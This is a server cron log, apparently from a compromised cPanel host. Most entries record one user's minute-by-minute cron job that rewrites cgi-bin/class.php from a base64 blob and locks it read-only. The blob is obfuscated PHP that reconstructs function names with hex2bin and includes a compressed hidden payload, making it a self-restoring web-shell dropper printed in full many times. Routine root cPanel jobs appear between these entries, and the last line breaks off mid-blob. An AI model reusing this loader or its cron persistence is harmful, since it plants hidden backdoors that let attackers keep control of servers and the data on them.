Apr  8 16:32:01 server CROND[13869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:33:01 server CROND[14126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:34:01 server CROND[14194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:35:02 server CROND[14263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 16:35:02 server CROND[14266]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 16:35:02 server CROND[14267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:35:02 server CROND[14268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:35:02 server CROND[14265]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:36:01 server CROND[14382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:37:01 server CROND[14424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:38:01 server CROND[14584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:39:01 server CROND[14637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:39:01 server CROND[14638]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 16:40:01 server CROND[14694]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 16:40:01 server CROND[14693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:40:01 server CROND[14695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:40:01 server CROND[14696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:41:01 server CROND[14798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:42:01 server CROND[14857]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 16:42:01 server CROND[14858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:43:01 server CROND[14914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:44:01 server CROND[15060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:45:01 server CROND[15116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd